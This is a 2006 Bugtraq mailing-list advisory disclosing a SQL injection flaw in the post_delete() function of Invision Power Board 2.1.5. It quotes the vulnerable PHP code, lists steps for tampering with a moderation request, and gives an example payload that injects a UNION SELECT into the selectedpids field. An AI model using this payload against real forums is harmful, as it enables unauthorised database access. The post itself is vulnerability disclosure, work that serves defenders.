[<prev] [next>] [day] [month] [year] [list]
Message-ID: <20060428082150.6328.qmail@securityfocus.com>
Date: 28 Apr 2006 08:21:50 -0000
From: o.y.6@...mail.com
To: bugtraq@...urityfocus.com
Subject: Invision Power Board v2.1.5 Remote SQL Injection
Invision Power Board v2.1.5 Remote SQL Injection
Filename		:- func_mod.php
Functionname	:- post_delete()
Lines			:- 89 To 209
Bug Found By :- Devil-00
	Greetz :-
    		Rock Master ^ Hackers Pal ^ n0m4rcy ^
            		www.securtygurus.net
[Code]
		if ( is_array( $id ) )
		{
			if ( count($id) > 0 )
			{
				$pid = " IN(".implode(",",$id).")";
			}
			else
			{
				return FALSE;
			}
		}
		else
		{
			if ( intval($id) )
			{
				$pid   = "=$id";
			}
			else
			{
				return FALSE;
			}
		}
[/CODE]
When $id = array .. the code don't check it if ( INTVAL )
[CODE]
if ( count($id) > 0 )
			{
				$pid = " IN(".implode(",",$id).")";
			}
[/CODE]
Then We Can Do SQL Injection  Here >>
[CODE]
$this->ipsclass->DB->simple_construct( array( 'select' => 'pid, topic_id', 'from' => 'posts', 'where' => 'pid'.$pid ) );
[/CODE]
And Here >>
[CODE]
$this->ipsclass->DB->simple_construct( array( 'select' => '*', 'from' => 'attachments', 'where' => "attach_pid".$pid ) );
[/CODE]
Cuz We Have 2 Querys With diffiernt Tabels Number We Can't Use UNION To Exploit :( Baaad :(
Exm. To Exploit
	1- First Add 2 Post
    2- Check It To Delete
    	3- Edit String Query By HTTPLiveHeader
[CODE]
act=mod&auth_key=2b71da21cbacba35ccf6fc04fe807d9a&st=0&selectedpids=-1) UNION SELECT 1,3/*&tact=delete
[/CODE]
Powered by blists - more mailing lists
 
